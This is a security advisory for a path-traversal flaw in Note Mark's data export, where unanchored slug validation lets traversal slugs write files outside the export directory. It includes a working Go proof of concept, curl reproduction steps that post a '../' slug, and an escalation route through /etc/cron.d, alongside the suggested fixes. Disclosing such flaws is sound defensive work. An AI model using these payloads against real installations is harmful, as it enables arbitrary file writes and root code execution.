VDB
KO
HIGH

GHSA-rqrh-8wpv-x7hh

Note Mark: Path traversal via unsanitized book/note slug in migrate export (sibling of GHSA-g49p)

Details

## Summary

Note Mark validates book and note `slug` values with the OpenAPI/huma tag `pattern:"[a-z0-9-]+"`. huma compiles this with `regexp.MustCompile(s.Pattern)` and tests it with `patternRe.MatchString(str)`, an UNANCHORED match. Because the pattern is not anchored (`^...$`), any string that merely CONTAINS one `[a-z0-9-]` substring passes validation. A slug such as `../../../../../../tmp/escape` is accepted and stored verbatim.

The data-export CLI commands (`note-mark migrate export` and `note-mark migrate export-v1`) join these unsanitized slugs straight into the output path with `path.Join` / `filepath.Join`, then `os.MkdirAll` the directory and `os.Create` the note file. `path.Join` resolves the `../` segments, so the note content file is written OUTSIDE the configured export directory. The export process commonly runs as root (default in Docker / bare-metal admin usage), so this is a root-privilege arbitrary directory create + file write.

This is the unguarded sibling of GHSA-g49p-4qxj-88v3 (CVE class CWE-22 in the same export sinks). That fix added `filepath.Base(asset.Name)` to sanitize the asset filename, but the adjacent path components `book.Slug` and `note.Slug` — used in the very same `path.Join` calls in the same two export functions — were left raw, and their input-side `pattern` guard is bypassable as shown above.

## Vulnerable code

Slug input validation (`backend/db/types.go`, v0.19.4):

```go type CreateBook struct { Name string `json:"name" required:"true" minLength:"1" maxLength:"80"` Slug string `json:"slug" required:"true" minLength:"1" maxLength:"80" pattern:"[a-z0-9-]+"` IsPublic bool `json:"isPublic,omitempty" default:"false"` }

type CreateNote struct { Name string `json:"name" required:"true" minLength:"1" maxLength:"80"` Slug string `json:"slug" required:"true" minLength:"1" maxLength:"80" pattern:"[a-z0-9-]+"` } ```

huma applies the pattern UNANCHORED (`github.com/danielgtaylor/huma/v2@v2.37.3`):

```go // schema.go if s.Pattern != "" { s.patternRe = regexp.MustCompile(s.Pattern) ```

```go // validate.go if s.patternRe != nil { if !s.patternRe.MatchString(str) { res.Add(path, v, s.msgPattern) ```

`regexp.MatchString("[a-z0-9-]+", "../../../../tmp/escape")` is `true` (it matches the `tmp` substring), so the traversal slug passes and `BooksService.CreateBook` / `NotesService` store it verbatim.

Export sinks (`backend/cli/migrate.go`, v0.19.4). The asset filename was sanitized by the GHSA-g49p fix; the sibling slug path components were not:

```go // commandMigrateExportDataV1 / commandMigrateExportData for _, book := range user.Books { bookDir := path.Join(exportDir, user.Username, book.Slug) // book.Slug raw for _, note := range book.Notes { noteDir := path.Join(bookDir, note.Slug) // note.Slug raw if err := os.MkdirAll(noteDir, os.ModePerm); err != nil { return err } f, err := os.Create(path.Join(noteDir, "_index.md")) // escapes exportDir ```

```go // the same functions DO sanitize the sibling asset name: assetFileName := filepath.Base(asset.Name) if assetFileName == "/" || assetFileName == "." { log.Printf("disallowed asset filename found '%s', skipping\n", asset.Name) continue } f, err := os.Create(path.Join(assetsDir, asset.ID.String()+"."+assetFileName)) ```

## Impact

A low-privilege authenticated user (any registered account that can create a book/note) sets a traversing `slug`. When an administrator later runs `note-mark migrate export` or `export-v1` (a routine backup/migration operation, commonly as root in Docker), the exporter creates attacker-chosen directories and writes the note's `_index.md` to an arbitrary filesystem location outside the export directory. With root, this allows writing to `/etc/cron.d/`, systemd unit directories, or other startup paths, escalating to code execution as root. Same trust boundary and severity class as GHSA-g49p-4qxj-88v3.

## Attack scenario

1. Attacker registers / uses any normal user account. 2. Attacker `POST /api/books` (or a note) with `slug` = `../../../../../../etc/cron.d/x` (passes the unanchored `[a-z0-9-]+` pattern). Stored verbatim. 3. Admin runs `note-mark migrate export-v1 --export-dir /data/backup` (root). 4. Exporter does `path.Join("/data/backup", username, "../../../../../../etc/cron.d/x")` which yields `/etc/cron.d/x`, then `os.MkdirAll` creates it and `os.Create(path.Join(noteDir, "_index.md"))` writes attacker-influenced content outside `/data/backup`.

## Proof of concept

Self-contained Go reproducer pinning `huma v2.37.3` (Note Mark's exact version) and Note Mark's exact `CreateBook` DTO + the exact export `path.Join` expression. It demonstrates (a) the traversal slug passes huma validation, (b) a negative control that genuinely violates the charset is rejected, (c) the export sink writes the file outside the export root.

```go // go.mod: module nmpoc; go 1.24; require github.com/danielgtaylor/huma/v2 v2.37.3 package main

import ( "context" "fmt" "net/http" "net/http/httptest" "os" "path" "strings"

"github.com/danielgtaylor/huma/v2" "github.com/danielgtaylor/huma/v2/adapters/humago" )

// Mirror of note-mark backend/db/types.go:24-28 CreateBook DTO at v0.19.4. type CreateBook struct { Name string `json:"name" required:"true" minLength:"1" maxLength:"80"` Slug string `json:"slug" required:"true" minLength:"1" maxLength:"80" pattern:"[a-z0-9-]+"` IsPublic bool `json:"isPublic,omitempty" default:"false"` } type CreateBookInput struct{ Body CreateBook } type CreateBookOutput struct { Body struct { Slug string `json:"slug"` } }

func main() { mux := http.NewServeMux() api := humago.New(mux, huma.DefaultConfig("note-mark-poc", "1.0.0")) var stored string huma.Register(api, huma.Operation{OperationID: "create-book", Method: http.MethodPost, Path: "/api/books"}, func(ctx context.Context, in *CreateBookInput) (*CreateBookOutput, error) { stored = in.Body.Slug // BooksService.CreateBook stores Slug verbatim out := &CreateBookOutput{} out.Body.Slug = in.Body.Slug return out, nil })

const traversalSlug = `../../../../../../tmp/nmpoc-escape` body := fmt.Sprintf(`{"name":"x","slug":%q}`, traversalSlug) req := httptest.NewRequest(http.MethodPost, "/api/books", strings.NewReader(body)) req.Header.Set("Content-Type", "application/json") rec := httptest.NewRecorder() mux.ServeHTTP(rec, req) fmt.Printf("[validation] slug=%q status=%d stored=%q\n", traversalSlug, rec.Code, stored)

// Negative control: a slug with NO [a-z0-9-] char anywhere must be rejected. negReq := httptest.NewRequest(http.MethodPost, "/api/books", strings.NewReader(`{"name":"x","slug":"@@@@"}`)) negReq.Header.Set("Content-Type", "application/json") negRec := httptest.NewRecorder() mux.ServeHTTP(negRec, negReq) fmt.Printf("[neg-control] slug=\"@@@@\" status=%d (expect 422)\n", negRec.Code)

// Export sink expression from backend/cli/migrate.go:187,191,203. exportDir := "/tmp/nmpoc-exportroot" _ = os.RemoveAll(exportDir) _ = os.RemoveAll("/tmp/nmpoc-escape") _ = os.MkdirAll(exportDir, 0o755) bookDir := path.Join(exportDir, "victim", stored) noteDir := path.Join(bookDir, "n") _ = os.MkdirAll(noteDir, 0o755) outPath := path.Join(noteDir, "_index.md") _ = os.WriteFile(outPath, []byte("PWNED-NOTE-CONTENT\n"), 0o644) escaped := !strings.HasPrefix(path.Clean(outPath), path.Clean(exportDir)+"/") fmt.Printf("[export] joined=%q escapedExportDir=%v\n", outPath, escaped) if d, err := os.ReadFile("/tmp/nmpoc-escape/n/_index.md"); err == nil { fmt.Printf("[export] SENTINEL written OUTSIDE exportDir => %q\n", strings.TrimSpace(string(d))) } } ```

Verbatim output (`go run .`, huma v2.37.3, go1.26.1):

``` [validation] slug="../../../../../../tmp/nmpoc-escape" status=200 stored="../../../../../../tmp/nmpoc-escape" [neg-control] slug="@@@@" status=422 (expect 422) [export] joined="/tmp/nmpoc-escape/n/_index.md" escapedExportDir=true [export] SENTINEL written OUTSIDE exportDir => "PWNED-NOTE-CONTENT" ```

The traversal slug is ACCEPTED (status 200) while the negative control is correctly rejected (422), and the export `path.Join` writes the note file outside the export root.

## End-to-end reproduction

Against the released image `ghcr.io/enchant97/note-mark-aio:0.19.4` (the GHSA-g49p fix release):

```bash # 1. start docker run -d --name nm -p 8080:8080 -e JWT_SECRET="$(openssl rand -base64 32)" \ -e PUBLIC_URL="http://localhost:8080" ghcr.io/enchant97/note-mark-aio:0.19.4 # 2. register + login (capture Auth-Session-Token cookie) curl -s -X POST localhost:8080/api/users -H 'Content-Type: application/json' \ -d '{"username":"attacker","password":"Attack3r!","name":"a"}' TOKEN=$(curl -s -D - -X POST localhost:8080/api/auth/token -H 'Content-Type: application/json' \ -d '{"username":"attacker","password":"Attack3r!","grant_type":"password"}' \ | sed -n 's/.*Auth-Session-Token=\([^;]*\).*/\1/p') # 3. create a book with a traversing slug — passes the [a-z0-9-]+ pattern curl -s -X POST localhost:8080/api/books -H 'Content-Type: application/json' \ -b "Auth-Session-Token=$TOKEN" \ -d '{"name":"x","slug":"../../../../../../tmp/nmpoc-escape"}' # response echoes "slug":"../../../../../../tmp/nmpoc-escape" (accepted, 200/201) # 4. add a note under that book (any valid note slug), then trigger admin export docker exec nm /note-mark migrate export-v1 --export-dir /data/backup # 5. observe the note _index.md written outside /data/backup docker exec nm ls -la /tmp/nmpoc-escape/ ```

The self-contained Go reproducer above is the deterministic, version-pinned demonstration of the validation bypass + sink escape (it does not require the full image build).

## Suggested fix

Apply `filepath.Base()` (the same idiom already used for `asset.Name` in the GHSA-g49p fix) to the sibling slug path components in both export functions, and/or reject the result if it differs from the raw value:

```go bookSlug := filepath.Base(book.Slug) noteSlug := filepath.Base(note.Slug) if bookSlug != book.Slug || noteSlug != note.Slug { log.Printf("disallowed slug found, skipping book=%q note=%q\n", book.Slug, note.Slug) continue } bookDir := path.Join(exportDir, user.Username, bookSlug) noteDir := path.Join(bookDir, noteSlug) ```

Root cause hardening (preferred): anchor the slug pattern at the input layer so traversal can never enter the DB. Either change the tag to an anchored regex `pattern:"^[a-z0-9-]+$"`, or reject `strings.ContainsAny(slug, "/\\.")` in the create/update handlers (mirroring the `PostNoteAsset` header check added by GHSA-g49p). `user.Username` (`pattern:"[a-zA-Z0-9]+"`) is also unanchored and should be anchored for the same reason.

## Affected versions

`<= v0.19.4` (current latest release). The slug components are used unsanitized in `backend/cli/migrate.go` at v0.19.4, the release that fixed the sibling `asset.Name` traversal (GHSA-g49p-4qxj-88v3).

## Fix PR

A fix is prepared on the temporary private advisory fork: `enchant97/note-mark-ghsa-rqrh-8wpv-x7hh` PR #1. It anchors the slug/username `pattern` tags (`^[a-z0-9-]+$` / `^[a-zA-Z0-9]+$`) at the input layer and adds defense-in-depth `filepath.Base()` checks to both export functions, plus a regression test. `go test ./backend/db/` passes with the fix and fails against the old unanchored pattern.

## Credit

Reported by tonghuaroot.

Are you affected?

Enter the version of the package you're using.

Affected packages

Go / github.com/enchant97/note-mark/backend
Introduced in: 0 Fixed in: 0.0.0-20260601210719-67b7de04308a
Fix go get github.com/enchant97/note-mark/backend@v0.0.0-20260601210719-67b7de04308a

References